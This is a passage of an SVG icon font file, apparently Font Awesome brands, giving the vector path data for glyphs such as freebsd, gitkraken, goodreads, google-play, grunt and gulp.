1.60059 -0.200195 2.40039 +c-0.0996094 1.2002 -0.200195 2.40039 -0.200195 3.7002c0 0.799805 -0.0996094 1.5 -0.0996094 2.2998c-0.100586 1.2998 -0.100586 2.7002 -0.200195 4c0 0.700195 0 1.2998 -0.0996094 2c0 2 -0.100586 4 -0.100586 6c0 53.5 16.9004 103 45.7998 143.6 +c2.30078 3.2002 4.7002 6.40039 7.10059 9.5c4.89941 6.2002 10.0996 12.3008 15.5996 18c2.7002 2.90039 5.5 5.7002 8.40039 8.40039c2.89941 2.7002 5.7998 5.40039 8.7998 8c4.5 3.90039 9.09961 7.59961 13.9004 11.2002c1.59961 1.2002 3.19922 2.39941 4.7998 3.5 +c27.2998 19.5996 59 33.7002 93.2998 40.7998c16.0996 3.2998 32.9004 5 50 5s33.7998 -1.7002 50 -5c34.2998 -7 66 -21.0996 93.5996 -40.7002c1.60059 -1.2002 3.2002 -2.2998 4.80078 -3.5c4.7998 -3.59961 9.39941 -7.2998 13.8994 -11.2002 +c12 -10.3994 23 -21.8994 32.7998 -34.3994c2.5 -3.10059 4.80078 -6.2998 7.10059 -9.5zM448 76.5v71.2998c0 2.10059 -1.59961 3.7002 -3.7002 3.7002h-22.2002c-2.09961 0 -3.69922 -1.59961 -3.69922 -3.7002v-25.7998h-29.5v144 +c0 2.09961 -1.60059 3.7002 -3.7002 3.7002h-22.1006c-2.09961 0 -3.69922 -1.60059 -3.69922 -3.7002v-25.9004h-29.5v25.9004c0 2.09961 -1.60059 3.7002 -3.7002 3.7002h-22.2002c-2.09961 0 -3.7002 -1.60059 -3.7002 -3.7002v-25.9004h-29.5v25.9004 +c0 4.7998 -6.5 3.7002 -9.5 3.7002v30.7002c6.7002 1.59961 13.7998 2.7998 20.7998 2.7998c8.80078 0 16.8008 -3.5 25.4004 -3.5c3.7002 0 22.4004 0.899414 22.4004 6.5v48.3994c0 2.10059 -1.60059 3.7002 -3.7002 3.7002c-4.2002 0 -12.2002 -3.5 -19.4004 -3.5 +c-7.89941 0 -16.8994 3.5 -26.2998 3.5c-6.5 0 -12.9004 -0.899414 -19.2002 -2.2998v3.90039c4.40039 2.09961 7.40039 6.69922 7.40039 11.5c0 16.7998 -25.4004 16.7998 -25.4004 0c0 -4.80078 3 -9.5 7.40039 -11.5v-90.2002c-3 0 -9.5 1.09961 -9.5 -3.7002v-25.9004 +h-29.5v25.9004c0 2.09961 -1.60059 3.7002 -3.7002 3.7002h-22.2002c-2.09961 0 -3.7002 -1.60059 -3.7002 -3.7002v-25.9004h-29.5v25.9004c0 2.09961 -1.59961 3.7002 -3.69922 3.7002h-22.1006c-2.09961 0 -3.7002 -1.60059 -3.7002 -3.7002v-144h-29.5996v25.7998 +c0 2.10059 -1.59961 3.7002 -3.7002 3.7002h-22.0996c-2.10059 0 -3.7002 -1.59961 -3.7002 -3.7002v-71.2998c9.40039 -15.5 20.5996 -29.9004 33.5996 -42.9004c20.6006 -20.5996 44.5 -36.6992 71.2002 -48c13.9004 -5.89941 28.2002 -10.2998 42.9004 -13.1992v75.7998 +c0 58.5996 88.5996 58.5996 88.5996 0v-75.7998c14.7002 2.89941 29 7.39941 42.9004 13.1992c26.7002 11.3008 50.5996 27.4004 71.2002 48c13 13 24.1992 27.4004 33.5996 42.9004z" /> + <glyph glyph-name="freebsd" unicode="" +d="M303.7 351.8c11.0996 11.1006 115.5 77 139.2 53.2002c23.6992 -23.7002 -42.1006 -128.1 -53.2002 -139.2c-11.1006 -11.0996 -39.4004 -0.899414 -63.1006 22.9004c-23.7998 23.7002 -34.0996 52 -22.8994 63.0996zM109.9 379.9 +c-31.6006 -19.4004 -57.9004 -46.5 -76.4004 -78.7002c-20.7998 36.2998 -44.5 89.0996 -27.9004 105.7c16.4004 16.5 68 -6.40039 104.301 -27zM406.7 274c3.2998 5.5 7 11.7998 10.8994 18.7998c17.6006 -31.2998 27.7002 -67.3994 27.7002 -105.8 +c0 -119.1 -96.5 -215.6 -215.6 -215.6c-119.101 0 -215.601 96.5996 -215.601 215.6c0 119.1 96.5 215.6 215.601 215.6c35.8994 0 69.7002 -8.7998 99.5 -24.2998c-7.2998 -4 -13.9004 -8 -19.6006 -11.5996c-26 4.7002 -32.8994 -16.4004 -14.8994 -48.7002 +c21.7998 -43.0996 89 -90.4004 109.3 -70.0996c5.40039 5.39941 6 14.7998 2.7002 26.0996z" /> + <glyph glyph-name="gitkraken" unicode="" horiz-adv-x="592" +d="M565.7 329.9c11.7998 -31.6006 18.2998 -65.7002 18.2998 -101.4c0 -155.1 -122.6 -281.6 -276.3 -287.7v145.8c-8.40039 -0.5 -16.6006 -0.399414 -23.4004 0v-145.899c-153.7 6.2002 -276.3 132.7 -276.3 287.8c0 35.7002 6.5 69.7998 18.2998 101.3 +c2.2998 6.2002 9.2998 9.2002 15.2998 6.60059c5.7002 -2.40039 8.5 -8.80078 6.30078 -14.6006c-10.9004 -29 -16.9004 -60.5 -16.9004 -93.2998c0 -134.6 100.4 -245.7 230.2 -262.7v123.7c-7.90039 1.59961 -15.4004 3.7002 -23 6.2002v-104 +c-106.7 26 -185.9 122.1 -185.9 236.8c0 91.7998 50.7998 171.8 125.8 213.3c5.80078 3.2002 13 0.900391 15.9004 -5c2.7002 -5.5 0.700195 -12.0996 -4.7002 -15.0996c-67.8994 -37.7002 -113.899 -110.101 -113.899 -193.2c0 -93.4004 57.8994 -173.2 139.8 -205.4 +v92.2002c-14.2002 4.5 -24.7998 17.7002 -24.7998 33.5c0 13.1006 6.69922 24.4004 17.2998 30.5c-8.2002 79.6006 -44.5 58.6006 -44.5 83.9004v14.7998c0 38 87.8994 161.7 129.1 164.7c2.60059 0.200195 5.10059 0.200195 7.60059 0 +c41.0996 -2.90039 129 -126.7 129 -164.7v-14.7002c0 -25.2998 -36.2002 -4.39941 -44.5 -83.8994c10.5 -6.10059 17.2998 -17.4004 17.2998 -30.5c0 -15.8008 -10.7002 -29 -24.9004 -33.5v-92.2002c81.9004 32.2998 139.8 112.1 139.8 205.399 +c0 83.2002 -46 155.601 -113.899 193.2c-5.2998 2.90039 -7.40039 9.60059 -4.7002 15.1006c2.90039 5.89941 10.2002 8.19922 15.9004 5c75 -41.5 125.8 -121.5 125.8 -213.301c0 -114.699 -79.2002 -210.899 -185.9 -236.8v104 +c-7.5 -2.59961 -15.0996 -4.7002 -23 -6.2002v-123.699c129.9 17 230.2 128.1 230.2 262.699c0 32.8008 -6 64.3008 -16.9004 93.3008c-2.19922 5.69922 0.600586 12.1992 6.30078 14.5996c6 2.59961 13 -0.5 15.2998 -6.59961zM365.9 172.5 +c-13.1006 0 -23.7002 -10.5996 -23.7002 -23.7002c0 -13.2002 10.7002 -23.7002 23.7002 -23.7002c13.0996 0 23.6992 10.6006 23.6992 23.7002c0 13.2002 -10.6992 23.7002 -23.6992 23.7002zM226.1 125.2c13.2002 0 23.7002 10.7002 23.7002 23.7002 +c0 13.0996 -10.5996 23.6992 -23.7002 23.6992c-13.1992 0 -23.6992 -10.6992 -23.6992 -23.6992s10.5 -23.7002 23.6992 -23.7002z" /> + <glyph glyph-name="gofore" unicode="" horiz-adv-x="400" +d="M324 128.2c54.2998 0 65.7002 -50.1006 67.7002 -77.7002c-46.5 -56.2998 -107.8 -82.5 -171 -82.5c-123.7 0 -220.7 101.5 -220.7 224c0 123.4 98 224 220.7 224c59 0 114.3 -23.2998 156.1 -65.5996l-62.2998 -63.3008c-25 25.4004 -58.2998 39.4004 -93.5996 39.4004 +c-73.2002 0 -132.4 -60.2998 -132.4 -134.4c0 -74.1992 59.2002 -134.399 132.4 -134.399c33.5996 0 65.3994 12.7002 89.8994 35.7998v34.7002h13.2002zM311.9 240.7c47.6992 0 88.0996 -35 88.0996 -100.2v-30.5996c-15.5 26.6992 -42.5 41.7998 -76 41.7998h-118.4v89 +h106.301z" /> + <glyph glyph-name="goodreads" unicode="" +d="M299.9 256.8c5.09961 -37.2998 -4.7002 -79 -35.9004 -100.7c-22.2998 -15.5 -52.7998 -14.0996 -70.7998 -5.69922c-37.1006 17.2998 -49.5 58.5996 -46.7998 97.1992c4.2998 60.9004 40.8994 87.9004 75.2998 87.5c46.8994 0.200195 71.7998 -31.7998 78.2002 -78.2998 +zM448 360v-336c0 -30.9004 -25.0996 -56 -56 -56h-336c-30.9004 0 -56 25.0996 -56 56v336c0 30.9004 25.0996 56 56 56h336c30.9004 0 56 -25.0996 56 -56zM330 134.8c0 0 -0.0996094 34 -0.0996094 217.3h-29v-40.2998c-0.800781 -0.299805 -1.2002 0.5 -1.60059 1.2002 +c-9.59961 20.7002 -35.8994 46.2998 -76 46c-51.8994 -0.400391 -87.2002 -31.2002 -100.6 -77.7998c-4.2998 -14.9004 -5.7998 -30.1006 -5.5 -45.6006c1.7002 -77.8994 45.0996 -117.8 112.399 -115.199c28.9004 1.09961 54.5 17 69 45.1992 +c0.5 1 1.10059 1.90039 1.7002 2.90039c0.200195 -0.0996094 0.400391 -0.0996094 0.600586 -0.200195c0.299805 -3.7998 0.199219 -30.7002 0.0996094 -34.5c-0.200195 -14.7998 -2 -29.5 -7.2002 -43.5c-7.7998 -21 -22.2998 -34.7002 -44.5 -39.5 +c-17.7998 -3.89941 -35.5996 -3.7998 -53.2002 1.2002c-21.5 6.09961 -36.5 19 -41.0996 41.7998c-0.299805 1.60059 -1.2998 1.2998 -2.2998 1.2998h-26.7998c0.799805 -10.5996 3.19922 -20.2998 8.5 -29.1992c24.1992 -40.5 82.6992 -48.5 128.199 -37.4004 +c49.9004 12.2998 67.3008 54.9004 67.4004 106.3z" /> + <glyph glyph-name="goodreads-g" unicode="" horiz-adv-x="384" +d="M42.5996 44.7002h2.80078c12.6992 0 25.5 0 38.1992 -0.100586c1.60059 0 3.10059 0.400391 3.60059 -2.09961c7.09961 -34.9004 30 -54.5996 62.8994 -63.9004c26.9004 -7.59961 54.1006 -7.7998 81.3008 -1.7998c33.7998 7.40039 56 28.2998 68 60.4004 +c8 21.5 10.6992 43.7998 11 66.5c0.0996094 5.7998 0.299805 47 -0.200195 52.7998l-0.900391 0.299805c-0.799805 -1.5 -1.7002 -2.89941 -2.5 -4.39941c-22.0996 -43.1006 -61.2998 -67.4004 -105.399 -69.1006c-103 -4 -169.4 57 -172 176.2 +c-0.5 23.7002 1.7998 46.9004 8.2998 69.7002c20.5996 71.0996 74.5996 118.2 153.899 118.8c61.3008 0.400391 101.5 -38.7002 116.2 -70.2998c0.5 -1.10059 1.2998 -2.2998 2.40039 -1.90039v61.6006h44.2998c0 -280.301 0.0996094 -332.2 0.0996094 -332.2 +c-0.0996094 -78.5 -26.6992 -143.7 -103 -162.2c-69.5 -16.9004 -159 -4.7998 -196 57.2002c-8 13.5 -11.7998 28.2998 -13 44.5zM188.9 411.5c-52.5 0.5 -108.5 -40.7002 -115 -133.8c-4.10059 -59 14.7998 -122.2 71.5 -148.601 +c27.5996 -12.8994 74.2998 -15 108.3 8.7002c47.5996 33.2002 62.7002 97 54.7998 154c-9.7002 71.1006 -47.7998 120 -119.6 119.7z" /> + <glyph glyph-name="google-drive" unicode="" horiz-adv-x="512" +d="M339 133.1l-163.6 282.9h161.199l163.601 -282.9h-161.2zM201.5 109.5h310.5l-80.5996 -141.5h-310.5zM154.1 380.6l82.9004 -141.399l-156.4 -271.2l-80.5996 141.5z" /> + <glyph glyph-name="google-play" unicode="" horiz-adv-x="512" +d="M325.3 213.7l-220.7 221.3l280.801 -161.2zM47 448l256.6 -255.9l-256.6 -256c-13 6.80078 -21.7002 19.2002 -21.7002 35.3008v441.3c0 16.0996 8.7002 28.5 21.7002 35.2998zM472.2 222.4c19.2002 -14.3008 19.2002 -46.5 1.2002 -60.8008l-60.1006 -34.0996 +l-65.7002 64.5l65.7002 64.5zM104.6 -51l220.7 221.3l60.1006 -60.0996z" /> + <glyph glyph-name="gripfire" unicode="" horiz-adv-x="384" +d="M112.5 146.6c0 -26.8994 16.5996 -47.1992 32.5996 -69.5c22.5 -30.1992 44.2002 -56.8994 44.2002 -86.5c-0.0996094 -14.5 -4.39941 -29.6992 -17.5 -46.3994c0 5.2998 4.7998 12.2002 4.7998 22.2998c0 15.2002 -13 39.9004 -78.0996 86.5996 +c-34.2998 29.1006 -66.5 58.5 -66.5 108.301c0 114.699 147.1 176.5 147.1 268.6c0 3.2998 -0.199219 6.7002 -0.599609 10c5.09961 -2.40039 39.0996 -43.2998 39.0996 -90.4004c0 -80.5 -105.1 -129.199 -105.1 -203zM317.8 185.6 +c1.5 -8.39941 2.2002 -16.5996 2.2002 -24.5996c0 -51.7998 -29.4004 -97.5 -67.2998 -136.8c-1 -1 -2.2002 -2.40039 -3.2002 -2.40039c-3.59961 0 -35.5 41.6006 -35.5 53.2002c0 0 41.7998 55.7002 41.7998 96.9004c0 10.7998 -2.7002 21.6992 -9.09961 33.3994 +c-1.5 -32.2998 -55.7002 -87.7002 -58.1006 -87.7002c-2.69922 0 -17.8994 22 -17.8994 42.1006c0 5.2998 1 10.7002 3.2002 15.7998c2.39941 5.5 56.5996 72 56.5996 116.7c0 6.2002 -1 12 -3.40039 17.0996l-4 7.2002c16.7002 -6.5 82.6006 -64.0996 94.7002 -130.9z" /> + <glyph glyph-name="grunt" unicode="" horiz-adv-x="384" +d="M61.2998 258.7c0.5 4.89941 2.7998 10 7 12h0.100586c-4.60059 1.7002 -9.2002 3.09961 -13.5 4.09961c42.1992 10.2002 73.3994 -20.5996 83.0996 -31.7998c16.5996 -19.2002 35.5 -8.7998 35.5 -8.7998c0.299805 -11.1006 -10.2998 -19 -21.0996 -19.5 +c1.19922 -15.4004 -13.9004 -32.5 -13.9004 -32.5s5.59961 15 2.7002 25.2998c-0.900391 3.2002 -2 6.09961 -3 8.5c-19.2998 -17.2002 -48 -1.5 -54.9004 6.09961c-9.59961 10.6006 -12.3994 23.8008 -12.7998 34.1006c-1.7998 -3.7998 -3.2998 -9.10059 -4 -16.6006 +c0 0 -6.2998 9.10059 -5.2002 19.1006zM89.5996 260.5c-2.89941 -9.09961 -3.39941 -27.7002 6.90039 -35.2998c16.2998 -12.1006 32.2998 -5 38 -1.7002c-7.5 11.2998 -25.4004 26 -44.9004 37zM231.7 214.7c-10.7998 0.399414 -21.4004 8.39941 -21.2002 19.2998 +c0 0 18.7998 -10.4004 35.5 8.7998c9.7002 11.2002 40.7998 42 83.0996 31.7998c-4.2998 -0.899414 -8.89941 -2.2998 -13.5 -4.09961h0.100586c4.09961 -1.7998 6.39941 -6.7998 7 -11.7998c1.2002 -10 -5.2002 -19.1006 -5.2002 -19.1006 +c-0.599609 7.5 -2.2002 12.8008 -4 16.6006c-0.5 -10.2998 -3.2002 -23.5 -12.7998 -34.1006c-6.7998 -7.59961 -35.5 -23.3994 -54.7998 -6.09961c-1 -2.5 -2.10059 -5.2998 -3 -8.5c-2.90039 -10.2998 2.69922 -25.2998 2.69922 -25.2998s-15.0996 17 -13.8994 32.5z +M294.4 260.5c-19.5 -11 -37.4004 -25.5996 -44.9004 -37c5.7002 -3.40039 21.5996 -10.5 37.9004 1.59961c10.3994 7.7002 10 26.3008 7 35.4004zM160 29.5c4.09961 0 7 -0.900391 8.7998 -2.7002c2.2002 -2.2998 1.5 -5.2998 0.900391 -6.7998 +c-1.10059 -2.7002 -5.5 -11.5996 -13 -19.7998c-2.7002 -2.90039 -6.60059 -4.60059 -11 -4.60059c-4.2998 0 -8.7002 1.60059 -11.7998 4.30078c-2.30078 2.09961 -10.2002 9.5 -13.7002 18.5996c-1.2998 3.40039 -1 6.09961 0.899414 8.09961 +c1.30078 1.30078 4 2.90039 9.5 2.90039h29.4004zM349.2 130.7c0 0 29.2998 -22.5 21.0996 -70.9004c-5.2998 -29.5 -23.2002 -46 -47 -54.7002c-8.7998 -19.0996 -29.3994 -45.6992 -67.2998 -49.5996c-14.5 -11.7998 -34.5 -19.5 -63.5996 -19.5h-0.200195 +c-29.2002 0 -49.2002 7.7002 -63.6006 19.5c-37.8994 3.90039 -58.5 30.5 -67.2998 49.5996c-23.7998 8.60059 -41.7998 25.2002 -47 54.7002c-8.59961 48.2002 20.6006 70.7998 20.6006 70.7998c2.39941 -17.8994 13 -33.8994 24.5996 -43.7998 +c3.09961 22.7002 3.7002 55.5 3.7002 62.4004c0 14.7002 -9.5 24.5 -12.2002 26.0996c-2.5 1.5 -5.2998 3 -8.2998 4.60059c-18 9.59961 -40.4004 21.5996 -40.4004 43.6992c0 16.1006 9.2998 23.2002 15.4004 27.8008c0.799805 0.599609 1.5 1.19922 2.2002 1.69922 +c2.09961 1.7002 3.69922 3 4.2998 4.40039c4.39941 9.7998 3.59961 34.2002 1.7002 37.5996c-0.600586 0.700195 -16.8008 21 -11.8008 39.2002c2 7.40039 6.90039 13.2998 14.1006 17c5.2998 2.7002 11.7998 4.2002 19.5 4.5c0.0996094 2 0.5 4 0.899414 5.90039 +c0.5 2.59961 1.10059 5.2998 0.900391 8.09961c-0.400391 4.7002 -0.799805 9.10059 -2.2002 11.2998c-8.39941 13.3008 -28.7998 17.6006 -29 17.6006l-12.2998 2.39941l8.09961 9.40039c0.200195 0.200195 17.3008 17.5 46.3008 17.5c7.89941 0 16 -1.2998 23.8994 -3.5 +c24.2998 -7.7998 42.9004 -30.5 49.4004 -39.2998c2 0.599609 3.89941 1.2002 5.89941 1.7002c-1 26.3994 20.7002 47.3994 28.2002 48.2998c0.5 -4.5 -0.399414 -22.2002 7.2002 -27.6006c2.2002 14.4004 9.59961 30.3008 39.0996 40.7002 +c-6.2998 -16.7002 -0.799805 -30.7002 1.80078 -37.2002c20.0996 18.2002 33.6992 15.2002 33.6992 15.2002s-13.1992 -22.7002 -9 -38.5c3.30078 -0.799805 6.5 -1.7002 9.60059 -2.7002c6.5 8.80078 25.2002 31.5 49.3994 39.3008 +c8.10059 2.59961 16.2002 3.89941 24.1006 3.89941c29 0 46.2002 -17.2998 46.2998 -17.5l8.09961 -9.5l-12.2998 -2.39941c-0.200195 0 -20.5996 -4.30078 -29 -17.6006c-1.39941 -2.2998 -1.7998 -6.59961 -2.2002 -11.2998 +c-0.199219 -2.7998 0.300781 -5.5 0.900391 -8.09961c0.400391 -2 0.799805 -3.90039 0.900391 -5.90039c7.59961 -0.299805 14.1992 -1.7998 19.5 -4.5c7.19922 -3.7002 12.0996 -9.59961 14.0996 -17c4.90039 -18.2998 -11.2002 -38.5996 -11.7998 -39.2002 +c-1.90039 -3.39941 -2.7002 -27.7998 1.7002 -37.5996c0.599609 -1.40039 2.19922 -2.7002 4.2998 -4.40039c0.700195 -0.599609 1.39941 -1.09961 2.2002 -1.7002c6.09961 -4.59961 15.3994 -11.5996 15.3994 -27.7998c0 -22.0996 -22.3994 -34.0996 -40.3994 -43.7002 +c-2.90039 -1.59961 -5.80078 -3.09961 -8.30078 -4.59961c-2.69922 -1.59961 -12.1992 -11.4004 -12.1992 -26.0996c0 -6.90039 0.599609 -39.7002 3.69922 -62.4004c11.6006 9.90039 22.2002 25.7998 24.6006 43.7002zM305.7 410.3 +c-17.7998 -5.7002 -31.6006 -23.0996 -37.7002 -32.2002c1.59961 -0.699219 3.09961 -1.39941 4.7002 -2.19922c2.59961 -1.2002 4.89941 -2.40039 7.09961 -3.7002c2.7002 5.5 8.40039 13.7002 20.7002 22.3994c8.2002 5.80078 18.2002 8.90039 28.7002 8.90039 +c3.59961 0 6.7998 -0.400391 9.2002 -0.799805c3.2998 2.09961 6.59961 3.89941 9.69922 5.2998c-4.7998 2 -13.6992 5 -24.6992 5c-6.10059 0 -12.1006 -0.900391 -17.7002 -2.7002zM326.7 392.1c-7.40039 -0.299805 -14 -2.69922 -19.6006 -7 +c-8 -6.39941 -12.0996 -17.6992 -13.5 -22.5c4.90039 -4.19922 8.2002 -8.09961 10.5 -11.1992c3.40039 1 7.30078 1.89941 11.5 2.69922c3.30078 4.5 3.90039 10.6006 4.40039 17c0.5 6.2002 1.09961 12.6006 4.40039 17.8008c0.699219 1.09961 1.5 2.19922 2.2998 3.19922 +zM45.5996 402.7c2.40039 0.399414 5.60059 0.799805 9 0.899414c10.6006 0 20.5 -3.09961 28.8008 -8.89941c12.3994 -8.7002 18.0996 -17 20.6992 -22.4004c2.2002 1.2002 4.60059 2.5 7.10059 3.7002c1.59961 0.799805 3.2002 1.5 4.7998 2.2002 +c-6.09961 8.89941 -19.9004 26.2998 -37.7002 32.0996c-5.7002 1.7998 -11.5996 2.7002 -17.7002 2.7002c-11 0 -19.8994 -3 -24.6992 -5c3.09961 -1.2998 6.39941 -3.09961 9.69922 -5.2998zM90.2998 362.6c-1.39941 4.80078 -5.5 16.1006 -13.5 22.4004 +c-5.5 4.40039 -12.0996 6.7002 -19.5 7c0.799805 -1 1.60059 -2.09961 2.2998 -3.2002c3.30078 -5.2002 3.90039 -11.5996 4.40039 -17.7998c0.5 -6.40039 1 -12.5 4.2998 -16.9004c4.2002 -0.799805 8.10059 -1.7998 11.5 -2.69922c2.2002 3.19922 5.60059 7 10.5 11.1992z +M58.0996 188.1c8.7002 -5 18.1006 -16.7998 19 -34.1992c0.900391 -14.7002 -0.899414 -49.9004 -3.39941 -75.9004c12.5 -4.7998 26.7002 -6.40039 39.7002 -6.7998c2 4.09961 3.89941 8.5 5.5 13.0996c0.699219 1.90039 19.5996 51 26.3994 62.2002 +c-5.39941 -39 -17.5 -73.7002 -23.5 -89.5996c3.40039 0.399414 7.2998 0.699219 11.7002 0.699219h117c4.40039 0 8.2002 -0.199219 11.7002 -0.699219c-6 15.8994 -18 50.5996 -23.5 89.5996c6.7998 -11.0996 25.7002 -60.2002 26.3994 -62.2002 +c1.60059 -4.59961 3.5 -9 5.5 -13.0996c13 0.399414 27.3008 2 39.7002 6.7998c-2.5 26 -4.2998 61.2998 -3.39941 75.9004c1.09961 17.5 10.3994 29.1992 19.0996 34.1992c2.7002 1.5 5.5 3.10059 8.40039 4.60059c14.7998 8 30.1992 16.2998 30.1992 30.5 +c0 11.0996 -4.2998 14.5 -8.89941 18.2002l-0.5 0.399414c-0.700195 0.600586 -1.5 1.2002 -2.2002 1.7998c0.900391 -7.19922 1.90039 -13.2998 2.7002 -14.8994c0 0 -12.1006 15 -15.7002 44.2998c-1.40039 11.5 1.09961 34.2002 5.09961 43 +c-0.199219 -4.90039 0 -9.7998 0.300781 -14.4004c0.399414 0.900391 0.799805 1.60059 1.2998 2.2002c3.2998 4 11.8994 17.5 9.39941 26.6006c-1 3.39941 -3.19922 6 -6.69922 7.7998c-3.80078 1.89941 -8.80078 2.89941 -15.1006 2.89941 +c-12.2998 0 -25.8994 -3.7998 -32.8994 -6c-25.1006 -7.89941 -55.4004 -30.8994 -64.1006 -37.6992c-0.200195 -0.200195 -0.399414 -0.300781 -0.399414 -0.300781l-5.60059 -3.89941l3.5 5.7998c0.200195 0.299805 19.1006 31.4004 53.1006 46.5 +c-2 2.90039 -7.40039 8.2002 -21.6006 15.0996c-21.3994 10.5 -46.3994 15.8008 -74.2998 15.8008c-27.7998 0 -52.9004 -5.30078 -74.2998 -15.8008c-14.2002 -7 -19.6006 -12.1992 -21.6006 -15.0996c34.1006 -15.0996 53 -46.2002 53.2002 -46.5l3.5 -5.7998 +l-5.59961 3.89941s-0.200195 0.100586 -0.400391 0.300781c-8.7002 6.7998 -39 29.6992 -64.0996 37.6992c-7 2.30078 -20.6006 6 -32.9004 6c-6.2998 0 -11.2998 -1 -15.0996 -2.89941c-3.60059 -1.7998 -5.7998 -4.2998 -6.7002 -7.7998 +c-2.40039 -9.10059 6.2002 -22.6006 9.40039 -26.6006c0.5 -0.599609 0.899414 -1.39941 1.2998 -2.2002c0.299805 4.60059 0.5 9.5 0.299805 14.4004c4 -8.7002 6.5 -31.5 5.09961 -43c-3.59961 -29.2998 -15.6992 -44.2998 -15.6992 -44.2998 +c0.799805 1.59961 1.7998 7.7002 2.69922 14.8994c-0.799805 -0.599609 -1.5 -1.19922 -2.19922 -1.7998l-0.5 -0.399414c-4.60059 -3.60059 -8.90039 -7.10059 -8.90039 -18.2002c0 -14.2002 15.2998 -22.5 30.2002 -30.5c2.7998 -1.5 5.7002 -3 8.39941 -4.60059z +M34.7998 43.4004c11.9004 -19.7002 35.5 -29.4004 58.2002 -29.5c-4.5 13.2998 -3.09961 24 4.09961 31.7998l1.40039 1.39941c1.7998 2.40039 4.2998 5.80078 7 10c-27.2002 1.10059 -63.5 11 -74.4004 45.4004c-5 -5 -8.39941 -39.0996 3.7002 -59.0996zM80.5 -0.0996094 +c6.5 -9.5 16.5 -19.6006 30.9004 -25.5c-4.90039 7.19922 -8.80078 15.0996 -12.3008 23.0996c-6.39941 0.5 -12.5996 1.2998 -18.5996 2.40039zM192 -50.2002c60.5996 0.100586 78.2998 45.9004 84.9004 64.7002c3.59961 10.5 3.2998 18.2998 -0.900391 23.0996 +c-2.7998 3.30078 -9.5 7.2002 -24.5996 7.2002h-118.801c-15.0996 0 -21.6992 -3.89941 -24.5996 -7.2002c-4.2998 -4.89941 -4.59961 -12.5996 -0.900391 -23.0996c6.60059 -18.9004 24.3008 -64.5996 84.9004 -64.7002zM272.6 -25.5996 +c14.4004 5.89941 24.4004 16 30.9004 25.5c-6 -1.10059 -12.2002 -1.90039 -18.5996 -2.40039c-3.5 -8 -7.40039 -15.9004 -12.3008 -23.0996zM349.2 43.4004c12.2002 19.8994 8.7998 54 3.7998 59c-10.9004 -34.4004 -47.2002 -44.2002 -74.4004 -45.4004 +c2.7002 -4.2002 5.2002 -7.59961 7 -10c0.5 -0.5 1 -1 1.40039 -1.5c7.2002 -7.7002 8.59961 -18.5 4.09961 -31.7998c22.5 0.399414 46.1006 10 58.1006 29.7002zM191.9 260.3c-12.7002 0.200195 -27.2002 17.7998 -27.2002 17.7998 +c9.89941 -6 18.7998 -8.09961 27.2998 -8.2998c8.5 0.200195 17.4004 2.2998 27.2998 8.2998c0 0 -14.5 -17.6992 -27.2002 -17.7998h-0.199219zM253.6 29.5996c5.40039 -0.0996094 8.10059 -1.69922 9.40039 -3c1.90039 -1.89941 2.2002 -4.59961 0.900391 -7.89941 +c-3.5 -8.90039 -11.4004 -16.1006 -13.7002 -18.1006c-3.10059 -2.59961 -7.40039 -4.19922 -11.7998 -4.19922c-4.40039 0 -8.30078 1.59961 -11 4.5c-7.5 8 -12 16.6992 -13 19.2998c-0.600586 1.5 -1.30078 4.39941 0.899414 6.7002 +c1.7002 1.7998 4.7002 2.69922 8.90039 2.69922h29.3994z" /> + <glyph glyph-name="gulp" unicode="" horiz-adv-x="256" +d="M209.8 56.9004l-14.0996 -24.6006l-4.60059 -80.2002c0 -8.89941 -28.2998 -16.0996 -63.0996 -16.0996s-63.0996 7.2002 -63.0996 16.0996l-5.80078 79.4004l-14.8994 25.4004c41.2002 -17.3008 126 -16.7002 165.6 0zM13.7998 310.2 +c30.7002 -17 197.8 -16.9004 228.3 0.200195l-14.7998 -136.801c-4.7998 -4.19922 -11.5996 -10.1992 -16.5996 -14.0996c-1.60059 -1.2002 -6 -4.7002 -8 -4.7002c-1.2998 0 -2.2002 0.5 -2.2002 1.7998c0.0996094 1 3.40039 4.5 5 6.40039 +c4.90039 5.7002 13.7998 16 13.7998 23.4004c0 7 -10.7002 14.0996 -25.7002 0.199219c-1.59961 -1.5 -3.09961 -3 -4.5 -4.5c0.400391 1.10059 1.10059 5.10059 1.10059 6.2002c0 2.7998 -1.40039 4 -4.2002 4c-1 0 -1.90039 -0.599609 -2.7002 -1.59961 +c-2.59961 -3.10059 -3.89941 -7.5 -5.2998 -11.2998c-0.5 -1.80078 -1.09961 -3.60059 -1.7002 -5.5c-0.399414 -0.200195 -0.700195 -0.300781 -0.899414 -0.600586c-3.80078 -3.89941 -17.7002 -17 -23.1006 -17c-2.2998 0 -1.59961 3.60059 -1 5.7998 +c1 3.40039 6.7998 17.7002 8.7002 22.3008c4.59961 11.0996 8 19.7998 13.2002 31.8994c3.89941 9.2002 3.7998 8.60059 4.5 10.5c0.700195 2.10059 0.700195 4.90039 -1 6.2002c-1 0.700195 -2 1.09961 -3.2002 1.09961c-2.40039 0 -4.7998 -1.39941 -6.09961 -4.69922 +c-25.5 -64.4004 -25.2002 -63.3008 -26.4004 -68.2002c-2 -1.7002 -4.40039 -3.40039 -6.7998 -4.5c-3.10059 -1.40039 -6.7998 -2.2002 -6.7998 1.2002c0 3.69922 1.39941 8.19922 2.69922 11.6992c2.2002 6.10059 4.90039 11.1006 6.90039 16.7002 +c0.900391 2.40039 1.2998 4.7002 -0.400391 6.90039c-0.799805 1 -1.89941 1.5 -3.19922 1.5c-2.60059 0 -4.10059 -2.60059 -5.2002 -5.10059c-0.700195 -1.5 -1.2998 -3.09961 -1.7998 -4.7998c-1.2002 -4 -3.60059 -8.7002 -5.60059 -12.2998 +c-2.7998 -5 -6.5 -10.0996 -11.0996 -13.5c-2.2002 -1.59961 -4.5 -2.40039 -6.90039 -2.40039c-3.5 0 -2.39941 5.7002 -1.5 9c2.2002 7.80078 5.5 13.3008 9.2998 20.8008c1.30078 2.69922 2.30078 5.39941 -0.299805 7.19922c-0.5 0.300781 -1 0.5 -1.59961 0.700195 +c-3.40039 0.900391 -6 -1.09961 -7.60059 -4.5c-3.09961 -6.2998 -5.39941 -11.7002 -7.09961 -16.2002c-3.2998 -8.89941 -6.90039 -18.2998 -4.59961 -23.7998c1.5 -3.7002 4.5 -5.09961 8.59961 -5.09961c9.7998 0 17.7998 6.7002 22.4004 14.8994 +c-4.30078 -19.7998 8.19922 -17.2998 20 -8.09961c0.0996094 -0.400391 0.0996094 -0.799805 0.199219 -1.2002c1.5 -6.7002 8.7002 -6.7002 14.5 -4.09961c3.5 1.59961 8.2002 4.5 14.4004 10.5c0.200195 0.299805 0.799805 1.39941 -0.799805 -2.2998 +c-7.2002 -16.2002 